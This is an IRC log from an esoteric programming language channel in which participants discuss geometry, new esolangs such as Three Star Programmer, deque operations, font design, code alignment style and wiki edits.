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00:53:52  Right... if I have 4 vectors, I can construct a vector space of degree at most four with some subset of them as the basis
00:54:37  If in 4 dimensional space, I put a vertex at (1, 0, 0, 0), (0, 1, 0, 0), etc...
00:54:47  Can I form a tetrahedron from those vertices?
00:54:49  I guess I can
00:55:05  s/degree/dimension/
00:55:09  Thanks
00:55:15  Those vertices are also linearly dependent
00:56:15  Actually, my question is, "how do I tell if two lines are coplanar in an arbitrarily high-dimensional euclidean space?"
00:57:05  x+y+z+w = 1 in 4-dimensional space is a representation of 3d projective space
00:58:32  hm i guess that doesn't give an isometry
00:58:46  I just need to know if the volume is zero or not
00:59:06  right...
01:01:51  if the lines are given by 4 points, then you take the vectors from one of them to the other and check if they span a 3d space
01:02:00  *to the others
01:02:43  you could use gram-schmidt for this.
01:05:27  I thought Gram-Schmidt took a set of vectors already known to be linearly independent
01:06:01  not necessarily.
01:06:10  it can also test them
01:06:32  (if you get 0 vector at any step, that vector was redundant with the previous)
01:07:02  Handly, here's a Gram-Schmidt I prepared earlier: http://lpaste.net/131499
01:07:06   Can I form a tetrahedron from those vertices?
01:07:23  that's how you define a tetrahedron, sometimes
01:07:38  Phantom_Hoover, it's one in the morning, cut me some slack
01:08:30  right, it's the simplex definition
01:08:38   hm i guess that doesn't give an isometry
01:08:50  projective space... doesn't have a metric, does it?
01:08:58  hm i guess
01:09:09  although the non-finite points do, naturally
01:09:17  obviously you can put a metric on it but the resulting geometry will be nonsense
01:09:26  but (0,0,0,1) becomes an infinite one
01:10:17  wait
01:10:18   x+y+z+w = 1 in 4-dimensional space is a representation of 3d projective space
01:10:39  Phantom_Hoover: homogeneous coordinates, no?
01:10:42  surely it isn't
01:10:44  (normalized to 1)
01:10:51  i mean it's homeomorphic to R^3
01:11:03  no it's not
01:11:20  w = 0 are infinite points
01:11:26  oerjan: ooh, I came up with a new esolang too while I was gone
01:11:33  I haven't documented it yet but I have an interp
01:11:36  give me a moment
01:11:39  oerjan, no, it is
01:11:43  it should be easy enough to document, seeing as it's a tarpit
01:11:46  also i was wrong about (0,0,0,1), it's the only one which is _finite_
01:11:57 <\oren\> good eeng
01:12:05  f(x,y,z) = (x,y,z,-x-y-z) is a homeomorphism
01:12:43  here: http://nethack4.org/esolangs/threestar.c
01:13:36  Those are some deeply nested pointers
01:13:42  Phantom_Hoover: no, x=y=z=0 is not into the right set
01:14:04  er
01:14:08  1-x-y-z
01:14:40  i mean it's a hyperplane in R^4
01:14:42  Taneb: I know
01:14:45  oh hm
01:14:45  it's not even compact for christ's sake
01:14:52  you're right
01:15:04  I was originally using a void**** but it doesn't work, you do genuinely need the void***** if you're writing the program like that
01:16:04  it's x+y+z+w=0 that's the infinite subwhatever
01:16:48  that's still not homeomorphic to projective space for the same reasons
01:17:15  you're going to have to take a quotient at some point, i'll bet
01:19:28  anyway taneb was just trying to find if two lines were coplanar!
01:19:54  aren't two lines coplanar if and only if a) they intersect, or b) they're parallel?
01:20:05  yeah
01:20:22  so while i'm sure there's a nice general method it's easy to just check each case individually
01:20:46  ais523, I'm trying to find the intersection, or more precisely, when I can find the intersections
01:21:04  Taneb, that's even easier, you're just solving simultaneous equations
01:21:23  I GUESS
01:21:51  shit i need to sleep stop getting me into geometry arguments you bastards
01:22:25  Hey, I was just rambling about my overcomplicated beginning of a solution to a problem which I never actually stated
01:24:08  ais523: not in 4d space
01:24:24  or wait
01:24:36 * oerjan is cursed to be wrong today
01:25:04  cursed just today? or maybe for the rest of your life...
01:25:19  oerjan: I think it's true regardless of dimension count, but I'm not 100% certain, 4D visualisation is weird
01:26:07  ais523: no i realized that there's always a containing 3d space so 4d doesn't give anything extra
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01:33:02  [wiki] [[User:Lemon enthusiast]]  http://esolangs.org/w/index.php?diff=45296&oldid=45293 * Lemon enthusiast * (-258) 
01:41:24 * boily reads a scroll of remove curse at oerjan
01:42:24  "You feel like someone is helping you"?
01:44:25  "You feel as if something is helping you".
01:45:04  yay!
01:48:08 -!- boily has quit (Quit: SHATTERED CHICKEN).
01:50:07  Well. One of my friends had his girlfriend break up with him and now he's depressed and contemplating suicide.
01:51:18  I would advise strongly that he doesn't.
01:51:27  I did too.
01:51:40  I spent 30 minutes trying to comfort him and got nowhere.
01:52:04  I give up. He's stressing me out. I'm going to go back to programming to distract myself now.
01:52:34  hppavilion[1], suggest he talk to a therapist/call a hotline?
01:52:52  hppavilion[1]: Tried that.
01:52:55  Wait, no
01:52:58  Sgeo: Tried that.
01:53:10  (how did THAT happen?)
01:53:45  He agreed that he needs a shrink. He looked like he was feeling better for a bit, then he dropped back down
01:53:52  I probably shouldn't have dumped this out here
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01:57:38  Is there any particular name for the operation 2^floor(log_2 x)?
01:58:12  oh, hmm, there might be
01:58:52  I have an incomplete list of names for that sort of thing here, just checking it now
01:59:59  that specific one isn't there, but it's "isolate highest set bit" by analogy with "isolate lowest set bit"
02:03:46  [wiki] [[Deque]]  http://esolangs.org/w/index.php?diff=45297&oldid=45280 * Hppavilion1 * (+2081) /* Additional Operations */ Stack on the back, PAD and REVPAD
02:04:19  "round down to the nearest power of 2"?
02:04:28  I'm happy with my catalogue of deque operations
02:05:41  [wiki] [[Deque]] M http://esolangs.org/w/index.php?diff=45298&oldid=45297 * Hppavilion1 * (+8) /* Operations */ Formatting
02:07:08  is a deque basically a linked list?
02:07:42  A doubly-linked list is one way to implement a deque
02:09:32  Fueue is a cool language
02:10:02  izabera: It's a stack/queue hybrid, if that's what you're asking (though I have a feeling you already knew)
02:10:39  i read that page
02:10:43  izabera: doubly-linked lists are a common way to implement a deque, but not the only one
02:11:21  e.g. you can also use a ring buffer that is reconstructed larger when it becomes full, or two stacks where, if a stack is empty and you try to pop it, you reverse the other stack onto the empty stack
02:12:01  (the two stacks method is one that I find very useful for implementing queues in esolangs that only have stacks, and then to BCT, in order to prove turing-completeness; it actually gives you a full deque but I normally only care about the queue subset of the behaviour)
02:12:07  In some sense stack/queue/deque are abstract whereas a linked-list is concrete
02:12:36  hppavilion[1], thanks! It's the language I'm most proud of
02:12:48  Oh! You made that! Cool!
02:12:52  what is BCT ?
02:12:56  Or should I say... Queuel?
02:13:00  :P
02:13:03  No. I should not, because that would be stupid.
02:13:40  Taneb: Your middle-last name looks like "Von Doom" with proper kerning
02:13:46  hppavilion[1], yes
02:13:46  izabera, but that's so... unmathylike
02:13:53  hppavilion[1], that is true
02:14:16  (and it's just my last name, the "van" is part of the surname. For reference, my middle name is George)
02:14:29 <\oren\> the Deque has push, pop, shift and unshift. what if you had push pop and shift only?
02:15:01  izabera: BCT = bitwise cyclic tag
02:15:13  it's a specific concrete instance of cyclic tag, which is a mathematical language-class
02:15:30  \oren\: I believe they are push, pop, eject, and inject
02:15:37  and cyclic tag is, in my experience, the easiest TC language to implement in arbitrary esolangs
02:16:07  Not shift and unshift (which I assume are ROLLs, which can be implemented using Push, Pop, Eject, and Inject and a scalar accumulator (though you clobber the accumulator))
02:16:17  hmm, is there a cyclic tag / bct compiler into BF yet? there should be, it's easy
02:16:22 <\oren\> hppavilion[1]: some languages call them different things, I'm using the names from Perl
02:16:28  \oren\: Ah
02:16:30 <\oren\> http://perldoc.perl.org/functions/shift.html
02:16:53  \oren\: you can do three out of the four operations with a singly linked list
02:17:09  I need to come up with a better name for DequeCLI...
02:17:31  ToD&IA&SA-CLI? xD
02:17:43  you have to discard either shift or pop but you can implement the three others with just single-linking pointers and separate pointers to /both/ ends
02:18:01 <\oren\> ah.
02:18:01  hppavilion[1], one of my friends once wrote a program that extracted data from .drs files (which are used in some video game... age of empires, maybe?)
02:18:11  He narrowly avoided calling it drsextractor
02:18:17  xD
02:18:33  That's amazing
02:19:06  I like DequeCLI (or whatever its final name is) because I can define operations like DUP
02:19:13  would be more amazing if he'd noticed and decided to use the name nayway
02:19:35  ais523, sadly he is not the kind of person who would do that
02:19:55  May I do math out loud here? 2048 = 2^11, 2^(11-23) = 2^-12; 
02:19:55  DUP is SAVE POP PUSH PUSH RETRIEVE. SAVE and RETREIVE are optional, if you don't mind clobbering the accumulator
02:20:31  Sgeo, that seems correct so far
02:21:42  So if a thing needs to be going half that distance in a frame, minimum meters per frame = 2^-13. Times 45 frames per second ~= 0.0055 mps
02:21:56  Lower at smaller fps
02:22:35  Might be easier to keep looking at my mpf calculation and have my measurement tool print measured minimum mpf
02:23:14  Actually, that number looks really really wrong based on prior measurements, but those are indirect
02:24:19 -!- andrew has joined.
02:27:28  Measured attempted minimum velocity: -0.005553
02:30:45 -!- mihow has quit (Quit: mihow).
02:32:12  My measured meters per frame is slightly higher than expected, wonder if I'm not quite measuring right
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02:46:31  [wiki] [[BotEngine]]  http://esolangs.org/w/index.php?diff=45299&oldid=44894 * SuperJedi224 * (+166) 
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03:05:24  [wiki] [[BotEngine]]  http://esolangs.org/w/index.php?diff=45300&oldid=45299 * SuperJedi224 * (-46) /* Instructions */
03:07:56  [wiki] [[BotEngine]]  http://esolangs.org/w/index.php?diff=45301&oldid=45300 * SuperJedi224 * (-68) 
03:08:05  SHould I be happy that my math based on my theories sort of match up with what I measured, or upset that it's not more exact?
03:08:13  I don't know what sort of error these measurements have
03:11:03  [wiki] [[Microscript II]]  http://esolangs.org/w/index.php?diff=45302&oldid=45238 * SuperJedi224 * (+130) 
03:13:51  [wiki] [[BotEngine]]  http://esolangs.org/w/index.php?diff=45303&oldid=45301 * SuperJedi224 * (+65) 
03:14:23  [wiki] [[BotEngine]]  http://esolangs.org/w/index.php?diff=45304&oldid=45303 * SuperJedi224 * (+0) 
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03:34:39  [wiki] [[Merucik]] N http://esolangs.org/w/index.php?oldid=45305 * Conor O'Brien * (+2128) Created page with "**Merucik** is a Brainf*** derivative that adds some minor functionality to aid the programmer in coding. Merucik programs operator on a right-open, theoretically-unbound tape..."
03:35:58  [wiki] [[Merucik]]  http://esolangs.org/w/index.php?diff=45306&oldid=45305 * Conor O'Brien * (+2) 
03:37:03  [wiki] [[User talk:Ais523]]  http://esolangs.org/w/index.php?diff=45307&oldid=45149 * Ais523 * (+468) /* Page removal request */ for the record
03:37:23  [wiki] [[Merucik]]  http://esolangs.org/w/index.php?diff=45308&oldid=45306 * Conor O'Brien * (+31) 
03:37:42  [wiki] [[User:Conor O'Brien]]  http://esolangs.org/w/index.php?diff=45309&oldid=44906 * Conor O'Brien * (+25) /* Languages I have made */
03:37:57  [wiki] [[User:Ais523]]  http://esolangs.org/w/index.php?diff=45310&oldid=44771 * Ais523 * (+27) and a new one (let's edit a link in that I can follow to create the article, the old-fashioned way)
03:42:49  [wiki] [[Merucik]]  http://esolangs.org/w/index.php?diff=45311&oldid=45308 * Conor O'Brien * (+281) /* Instructions */
03:45:04  [wiki] [[Brainfuck extensions]]  http://esolangs.org/w/index.php?diff=45312&oldid=43357 * Conor O'Brien * (+65) 
03:49:46  [wiki] [[Merucik]]  http://esolangs.org/w/index.php?diff=45313&oldid=45311 * Conor O'Brien * (+95) 
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03:55:13  Here's an idea
03:55:18  A logical language
03:55:27  That recognizes logical fallacies
03:58:08  [wiki] [[Three Star Programmer]] N http://esolangs.org/w/index.php?oldid=45314 * Ais523 * (+4998) new language!
03:58:45  [wiki] [[Language list]]  http://esolangs.org/w/index.php?diff=45315&oldid=45158 * Ais523 * (+28) /* T */ +[[Three Star Programmer]]
03:59:59  [wiki] [[OISC]]  http://esolangs.org/w/index.php?diff=45316&oldid=34930 * Ais523 * (+28) /* See also */ +[[Three Star Programmer]] (maybe at this point this should be a category, instead of / in addition to a list?)
04:01:56  hmm, I hope Three Star Programmer is TC; it feels like it is but it's a total pain to accomplish anything in 
04:02:14  if it is, it'd be the first OISC which has one-operand instructions and doesn't rely on memory mapping
04:03:07  [wiki] [[OISC]] M http://esolangs.org/w/index.php?diff=45317&oldid=45316 * Ais523 * (+0) /* See also */ this list is apparently alphabetical, not asciibetical
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04:07:55  I'd like some input on Getchl
04:08:18  (https://docs.google.com/document/d/1IVBYW2CSDgvspkCl0nYTy-FQPUwozYdkX2H-cZGwALo/edit?usp=sharing)
04:09:47  ais523: Prove it!
04:10:08  zzo38: it's a pain to program in though
04:10:14  like, I haven't managed to write /any/ nontrivial programs
04:10:32  and only have the vaguest idea of what one would look like
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04:14:37  IRL, is 4km vertically a lot or not so much?
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04:14:55  Sgeo: What scale are we on?
04:15:04  Cosmically, no.
04:15:14  In terms of quarks, yes.
04:15:23  On the surface of Earth, would 4km above the surface be outer space ish?
04:16:11  https://en.wikipedia.org/wiki/K%C3%A1rm%C3%A1n_line very much no
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04:16:56  Sgeo: I believe 100 km is space
04:17:08  According to the Wikipedia link, yes
04:17:08  So no
04:22:08  Um
04:23:57  ais523: an obfuscated 3SP interpreter sounds like it'd make a reasonable IOCCC submission
04:24:21  Although only if it turns out to actually be usable for programming, I suppose
04:24:21  FireFly: so long as you had an actual program to run it on
04:24:25  Right
04:24:26  yes
04:24:30  fwiw, I'm using the file extension .3*
04:24:35  to drive Windows programmers mad
04:24:48  (it's only mildly inconvenient on Linux, mostly having to add extra quotes, and making me do a double take when I see ls output)
04:24:53  it even tab completes correctly!
04:24:58  Haha
04:26:23  Most likely it'll be fine even without escaping
04:27:49  I thought the program does not require any specific extension? (Even though it does say to use .3* at the top)
04:28:01  Out of interest, why the second and fourth cells for the output extension?
04:29:39  ais523: Don't you have a color computer?
04:29:57  zzo38: it doesn't require a specific extension
04:30:03  also what do you mean by a color computer?
04:30:17  is it related to colorforth?
04:30:19  Color terminal, I suppose
04:30:29  3sp? is that an esolang?
04:30:31  FireFly: I had a feeling that it might be possible to use only the even-numbered cells
04:30:37  quintopia: http://esolangs.org/wiki/Three_Star_Programmer
04:30:41  Then you can use colors with ls
04:30:44  I just put it on the wiki today (designed it a few days ago when I was ill)
04:30:49  zzo38: oh yes, color terminal, and I use colors with ls
04:30:55  but it's still confusing seeing asterisks in ls' output
04:31:14  even if I put them there myself
04:31:19  I think I'd do even more of a double-take seeing (escaped) asterisks when tab-completing
04:31:29  and feel a bit uneasy pressing enter
04:31:59  Sgeo: 4km is a bit less than half the height of mount everest hth
04:32:28  neat
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04:42:57  Well, I seem to be able to observe "quantum" effects in SL somewhat comfortably at 4km
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05:40:33  WHEE https://gist.github.com/Sgeo/dc140b32c082ae38fd15
05:44:52 <\oren\> ais523: You should make one where the array extends downward using my stupid x86 stack trick.
05:45:14  \oren\: you could just change increments to decrements, the language spec doesn't require any particular memory layout
05:45:27 <\oren\> right that would work
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05:47:21  My next experiment, the one that I and a coworker am eagerly anticipating: What happens when minimum velocity imposed by the nature of floating-point numbers is near the maximum velocity arbitrarily imposed by the Lindens?
05:49:12  Should I make esoteric letters for a font?
05:49:14  I think I should
05:49:21  Eso Sans
05:50:15  Are you going to use METAFONT to make up a font?
05:50:39  The fun part: In order to get to a point where this occurs, we will build a MASSIVE ROCKET
05:51:02  zzo38: I'm using WalText II
05:53:02  zzo38: Though I might make a METAFONT or something version so people can use it in reality
05:53:32  I'm going to have such constructs as the 1.5 story g and the 3-humped B
05:54:17  METAFONT is good for printer fonts. (It could be used for screen fonts too, although screen fonts are best made with a tile editor, in my opinion.)
05:54:33  How does WalText II work anyways?
05:59:13  What does 'tile editor' entail?
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06:03:41  [wiki] [[Talk:3var]]  http://esolangs.org/w/index.php?diff=45318&oldid=41115 * Nikoraito * (+965) /* Extensions */ new section
06:04:18  [wiki] [[Talk:3var]]  http://esolangs.org/w/index.php?diff=45319&oldid=45318 * Nikoraito * (+89) /* Extensions */
06:06:03  [wiki] [[Talk:3var]]  http://esolangs.org/w/index.php?diff=45320&oldid=45319 * Nikoraito * (+52) /* Extensions */
06:10:22  You can select sets of tiles and make each pixel of each tile on/off; some more advanced ones may have additional operations too.
06:12:04  (Tiles may also be created with a text editor and then compiled; some programs will do it this way.)
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06:27:42  B (three story): Check
06:27:59  zzo38: WalText II is kind of like METAFONT I've been told
06:28:26 <\oren\> I agree fonts for computers are best designed with pixels, so there's no blurriness
06:28:43  Though in later versions, it's going to have a dynamic random number feature (allowing you to emulate human error in the font, making it look more realistic, less uncanny valley)
06:40:04  My "C" looks like pac-man
06:40:20  Should eso sans be monospace?
06:44:52  oerjan: What do you think?
06:45:08  i do not think about fonts hth
06:47:07  oerjan: Wait, was it you or \oren\ that's making the font? My recognition of names (and faces, though that doeesn't really come into play) is not very good
06:51:53  My "m" is a mangled mess
06:52:13  Like an h/m/~/()
06:53:48  If WalText II is like METAFONT then depending on other stuff how it works, may be possible to compile WalText II fonts into TFM/PK formats; such file formats are simple enough to do.
06:59:21  zzo38: It could very well be
06:59:36  zzo38: WalText II is actually saved as JSON xD
07:02:25  That isn't a problem.
07:06:09  zzo38: I know
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07:47:34  Someone should go write a language specification in ultra-limited time
07:47:46  NEW ESOLANG SPORT: UTLLD
07:48:01  (Ultra time-limited language design)
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07:48:42  How much time limit?
07:48:52  hppavilion[1]: http://esolangs.org/wiki/2014 was pretty time-limited
07:51:44  zzo38: Depends on how hardcore the player is
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08:05:55  Deos anybody want to see eso sans yet?
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08:20:54  [wiki] [[Three Star Programmer]]  http://esolangs.org/w/index.php?diff=45321&oldid=45314 * Ais523 * (+85) /* External resources */ link to where the name comes from
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10:05:52  ais523! hello
10:05:55  I haven't seen you for weeks
10:06:01  I've been ill
10:06:05  still am to some extent
10:09:45  I see
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12:02:37 * boily is confused by Han Unification
12:13:18 * FireFly wonders what type boily is, and what type Han Unification is, and whether it has any other effects apart from causing confusion
12:16:41  Firellofly. I think I'm Canadian.
12:16:53  (is mayonnaise an instrument?)
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12:19:54  fnarxel
12:20:30  Fnord
12:21:55  chicken.
12:24:03  Is Han Unification supereffective against Canadian?
12:28:19  further research needs to be made for a conclusive conclusion.
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12:58:38 * int-e wonders whether Han Unification is in any way similar to AC Unification...
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13:31:10  full bridge rectifier
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14:35:33  [wiki] [[Talk:Imapl]]  http://esolangs.org/w/index.php?diff=45322&oldid=45290 * Lemon enthusiast * (+624) 
14:38:00  [wiki] [[Talk:Imapl]]  http://esolangs.org/w/index.php?diff=45323&oldid=45322 * Lemon enthusiast * (+172) 
14:38:15  [wiki] [[Talk:Imapl]]  http://esolangs.org/w/index.php?diff=45324&oldid=45323 * Lemon enthusiast * (+2) 
14:39:00  [wiki] [[Talk:Imapl]]  http://esolangs.org/w/index.php?diff=45325&oldid=45324 * Lemon enthusiast * (-61) 
14:41:58  [wiki] [[Imapl]]  http://esolangs.org/w/index.php?diff=45326&oldid=45292 * Lemon enthusiast * (+0) /* Operators (Ordered by precedence): */
15:01:35  [wiki] [[Imapl]]  http://esolangs.org/w/index.php?diff=45327&oldid=45326 * Lemon enthusiast * (+31) /* Execution: */
15:01:37  [wiki] [[Imapl]]  http://esolangs.org/w/index.php?diff=45328&oldid=45327 * Lemon enthusiast * (+431) /* Computational class */
15:03:59  [wiki] [[Imapl]] M http://esolangs.org/w/index.php?diff=45329&oldid=45328 * Lemon enthusiast * (+15) /* Computational class */
15:08:46  [wiki] [[Imapl]] M http://esolangs.org/w/index.php?diff=45330&oldid=45329 * Lemon enthusiast * (+0) /* Constants */
15:17:34  [wiki] [[Imapl]]  http://esolangs.org/w/index.php?diff=45331&oldid=45330 * Lemon enthusiast * (+51) /* Operators (Ordered by precedence): */
15:18:34  [wiki] [[Imapl]] M http://esolangs.org/w/index.php?diff=45332&oldid=45331 * Lemon enthusiast * (-1) /* Operators (Ordered by precedence): */
15:28:52  [wiki] [[User:Lemon enthusiast]]  http://esolangs.org/w/index.php?diff=45333&oldid=45296 * Lemon enthusiast * (-98) 
15:36:12  i have an important question
15:36:22  do you right align numbers and left align strings?
15:36:54  or do you use the same alignment for both?
15:39:05  Justify everything, even if it's a single word.
15:41:06  i'm writing code
15:41:46  i have an array, some keys are "strings in double quotes", some are integers
15:43:08  arr["very long string"] = x; arr[22] = x
15:43:10  arr["short string"    ] = x; arr[ 2] = x
15:43:13  ^ does it look ok?
15:43:16  it's important
15:45:08  It is okay to me no Matter if Strings/Numbers are aligned to the Left or to the Right, or even unaligned, as long as You keep Your Style consistently.
15:45:40  if I run 7z a -mx=0 so that it adds files to a 7zip archive without compressing them, and the progress message says "Compressing", then is the progress message misleading, or have I given the parameters wrong?
15:47:59  b_jonas: Just test with a String of 10k zeroes and look at the Size, then You know whether it compresses B)
15:48:10  s/zer/Zer/
15:48:39  HMM, POSSIBLE
15:48:44  sorry
15:48:46  hmm, possible
15:48:49  I'll try that
15:49:39  yep, doesn't compress. and still says "Compressing"
15:50:02  the compression part of 7z is nice, but the command-line UI needs severe reworking. 
15:50:09  This isn't the only problem I have with the UI.
15:52:45  izabera: In a case like that, I normally wouldn't align, but if I did, I'd left-align both strings and numbers. But that's strictly personal preference.
15:52:45  Send Patches
15:53:38  left align strings, right align numbers
15:54:23  unless we're talking about tables
15:54:36  then left align left-most column, right align all the other columns.
15:55:14  How about point-aligning numbers? 
15:55:41  floats should be right-aligned and point-aligned
15:55:42  true
15:56:10  but if you use a fixed amount of decimal points then right-aligning them is the same thing?
15:56:29  [wiki] [[Imapl]]  http://esolangs.org/w/index.php?diff=45334&oldid=45332 * 179.185.170.155 * (-140) /* Constants */
15:56:32  Maybe. Are there any fonts with variable-width digits? 
15:57:00  I would assume so
15:57:36  „Are there“-Questions sorta suck in our infinite Multiverses ;)
15:58:01  If something does not exist, somebody has already created it in this or other Galaxies
15:58:09  So nothing does _not_ exist
15:58:16  Probably.
15:58:17  Paradox ♥
15:58:25  but then I'd kill you for using those fonts.
15:58:46  I would not care because there exist an infinite Number of Clones of myself ;=P
15:59:00  But i still have a Fetish for fixed Fonts
15:59:09  So i am lucky even in _this_ current Multiverse ;)
15:59:16  I have a fetish for simple websites .
15:59:19  s/fixed/fixed-Size/
15:59:30  My Website is quite simple
15:59:45  Does it have a lot of Words with Capital Letters, at least? 
15:59:52  http://md.mroman.ch/ <- I started to switch all my sites to this exact same CSS
16:00:21  http://apic.name does not even use CSS
16:00:38  Ideally you wouldn't use CSS, yes
16:00:43  Yes
16:00:44  but browsers usually have a sucky default CSS imo
16:00:48  True
16:00:56  headings are way too large in my opinion
16:01:10  and having the page width 100% of the window per default
16:01:16  It looks stupid on wide screens
16:01:17  imo
16:01:25  it's better to not use the full width.
16:01:53  wait
16:01:56  Du bist Deutscher?
16:02:01  Ja
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16:27:13  Is Jace the only character who has six or more Planeswalker cards representing them?
16:27:55  izabera: that's how I would align it, FWIW
16:28:01  yay
16:29:33  (Chandra has five, Garruk has five)
16:33:12  I'm still struggling with the formal proof for the df constants
16:33:16  they intuitively make sense
16:33:22  but I don't know how to proof it formally :(
16:33:56  Generally I can show that numbers of the form n^{2m} can in fact be reached fastest
16:36:50  wait a minute. if you tell Firefox to always use my fonts, not allowing webpages to override them, then it still downloads font from the web and uses them for the page as a fallback for characters that aren't in the font I specificed but are in other fonts I have installed on my system?
16:36:57  Does this look crazy only to me?
16:38:42  [wiki] [[User talk:Ais523]]  http://esolangs.org/w/index.php?diff=45335&oldid=45307 * -Dark-Phantom- * (+216) /* Page removal request */
16:43:29  http://md.mroman.ch/blog/2015-11-12.html <- that's what I've got so far :(
16:45:04  The thing left is to prove that if n^2m < x < n^2(m-1) then the fastest way is to go to whichever is nearest and use i or d
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16:49:14  hm
16:49:32  I probably just need to show, that any number between those can not be reached in less than n+m steps
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17:09:53  Under what sort of conditions will n^2m < x < n^2(m-1)?
17:10:12  mroman: your math is wrong. repeated squaring gets you to n^(2^m). Also, you should simply aim for the closest square number, so one of n^2 < x < (n+1)^2.
17:10:17 -!- ski has joined.
17:11:22  (ignoring the nasty case of 256).
17:12:47  256 isn't even that nasty. For numbers 256^4 and up, it's still better to go to 256^2 and square it.
17:12:51  Jafet: when n is purely imaginary
17:12:52  A useful fact is that if df(x) is the smallest number of operations to reach x from 0 in deadfish, then |df(x) - df(x+1)| <= 1, still ignoring the 256 complication.
17:13:37  This is simply because you can get from x to x+1 by a single operation, and vice versa.
17:14:48  That doesn't give very useful bounds, though, since df(x) = Θ(√x).
17:14:57  Jafet: the thing is, repeated squaring is a very infrequent case. you're far more likely to end up with small adjustments after each squaring.
17:15:34  int-e: oh. right.
17:15:42  n^(2^m)
17:16:02  Jafet: it's a useful lemma because it bounds the different of the costs for reaching n or n+1 in n^2 < x < (n+1)^2, and also shows that except for very small x, aiming for a smaller or a larger square cannot possibly help.
17:16:12  the difference
17:17:24  (one of the < should be <= of course ...)
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17:42:54  b_jonas: jace is the most promiscuous planeswalker hth
17:45:17  coppro: and he's a memory mage, he made sure he has good publicity by ensuring everyone always remembers him while they forget the other planeswalkers
17:46:02  I think he even made sure Teferi got such a ridiculously forgettable planeswalker card, because Jace saw him as a potential rival, being the same color. 
17:48:19  And Teferi is delayed in revenging on him, because his ovinomancer powers extends only to creatures, and unlike some planeswalkers, Jace isn't so stupid as to turn to a creature planeswalker.
17:50:52  Jace even ensured everyone remembers him by getting into the flavor text of a lot of spells.
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18:51:32  I do not dislike the default CSS of the browser. However, if the user does not like it then he should modify it.
18:52:51  If you put in your own CSS to not use the full width or for whatever, then I would have to override it per each site to force it to use the full width of the window.
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19:37:47  Hellu
19:39:57  Heya
19:41:22  https://docs.google.com/document/d/1IVBYW2CSDgvspkCl0nYTy-FQPUwozYdkX2H-cZGwALo/edit?usp=sharing
19:41:37  I'm working on Getchl right now and am still looking for feedback
19:41:52  If anyone feels like clicking the link and telling me what they think...
20:00:42  where's the tldr version?
20:02:54  izabera: There isn't an abbieviated version, unless you don't care about the commands in which case the Wiki has that on the Getchl page
20:03:15  but it's *eight* pages -_-
20:03:30  of arbitrary associations between actions and keys
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20:05:53  izabera: Some of them are based on the traditional meanings (:=dup), some based loosely on meanings in other languages (;=halt), and some are just chosen because they look like they should mean that (@=loop)
20:06:21  The letter ones are either mneumonics (r=read), and 0-9 and A-F are Hex codes
20:10:45  But yes, it /is/ 8 pages. All printable ASCII characters, plus a number of variant commands, and a list of useful mneumonics
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20:54:16  whew, I was writing a completely stupid statement in my program. good thing the compiler caught it.
20:54:27  const++
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20:58:36  more like, I was writing several stupid statements
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21:28:43  [wiki] [[User:Hppavilion1/Unicode/Potential Meanings]] N http://esolangs.org/w/index.php?oldid=45336 * Hppavilion1 * (+755) Created Page
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21:34:32 -!- hppavilion[1] has quit (Ping timeout: 276 seconds).
21:44:15  [wiki] [[Greentext]] N http://esolangs.org/w/index.php?oldid=45337 * 160.3.110.148 * (+2080) Created page with "{{infobox proglang |name=Greentext |author=[[Jfeng41]] |year=[[:Category:2015|2015]] |class=[[:Category:Turing complete|Turing complete]] |refimpl=[https://github.com/jfeng41/..."
21:55:36  [wiki] [[Greentext]]  http://esolangs.org/w/index.php?diff=45338&oldid=45337 * 160.3.110.148 * (+206) 
21:57:35  Hi
21:57:45  [wiki] [[Greentext]]  http://esolangs.org/w/index.php?diff=45339&oldid=45338 * 160.3.110.148 * (+22) 
21:58:07  [wiki] [[Greentext]]  http://esolangs.org/w/index.php?diff=45340&oldid=45339 * 160.3.110.148 * (-2) 
21:58:16  `welcome
21:58:17  Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
21:59:55  thanks
22:00:21  I'm having trouble finding some ideas to name my esolang
22:00:39  name it Guest52752 
22:00:52  a memorable name is important
22:00:55  ok
22:01:02  thanks, I'll do it
22:01:05  bye
22:01:28  come on
22:01:32  don't leave
22:01:34 -!- Guest52752 has changed nick to Mrlemons.
22:01:42  ok
22:01:56  just kidding!!
22:01:59 -!- aretecode has joined.
22:02:20  it's a turing tarpit with only two characters
22:02:38  another one?
22:03:07  kind of
22:03:29 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
22:03:30  [wiki] [[Greentext]]  http://esolangs.org/w/index.php?diff=45341&oldid=45340 * 160.3.110.148 * (+9) 
22:04:40  ttctc - turing tarpit containing two characters
22:05:22  tttc two characters turing tarpit
22:05:29  wait
22:05:32  hah
22:05:32  it's tctt
22:07:06  ttctt you mean?
22:07:13  assuming you intended it to be recursive
22:08:07  `? tar
22:08:07  tar? ¯\(°​_o)/¯
22:08:09  `? tarpit
22:08:10  tarpit? ¯\(°​_o)/¯
22:10:58  `which tar
22:10:59  ​/bin/tar
22:11:02  there
22:13:33 -!- Mrlemons has quit (Ping timeout: 246 seconds).
22:15:24  `learn The tapeworm is the bane of tape libraries. Its natural enemy is the tape archiver, tar.
22:15:27  Learned 'tapeworm': The tapeworm is the bane of tape libraries. Its natural enemy is the tape archiver, tar.
22:17:11  google cats scared by cucumbers
22:17:17  now
22:17:20  do it
22:17:23  i'll wait here
22:17:34  don't hold your breath
22:18:17  i don't breathe anyway
22:19:44  did you know that oxygen has a 100% killing rate
22:22:13  About 7% of people have not yet died despite being exposed to 21% O2 in the atmosphere almost all the time.
22:22:55  give 'em some time
22:23:28  I will, but you have no proof that that will work.
22:27:19  bet your $dayjob is lobbyst for a tobacco firm
22:29:03  ouch
22:29:47  Ok, I'll add this: I was speaking mathematically; scientifically you seem to be on the safe side.
22:34:20 -!- Mrlemons has joined.
22:39:45 -!- oerjan has joined.
22:42:29  oerjan is moving backward in time
22:43:10  i am?
22:44:07 -!- mauris has quit (Read error: Connection reset by peer).
22:44:11  well, last time I saw you join it was after midnight, and now it's before midnight (local time, here)
22:44:22  are you referring to me being constantly backlogged (approx. 2 months for the wiki and /r/haskell)
22:44:31  hm...
22:44:37 -!- mauris has joined.
22:46:24  int-e: today i shopped just before the shop closed at 11, so had to go home a bit early to reach it.
22:46:52  how early do you usually go home
22:46:57  home from where
22:47:16  11 (12 on weekends), because that's when the restaurant closes
22:47:46  except when my sleeping cycle is enough different that i'm asleep then
22:48:26  What are your opinion of some of my ideas about improvement to make for SQLite?
22:48:51  I don't remember the ideas.
22:50:23  It is http://zzo38computer.org/textfile/miscellaneous/sqlext
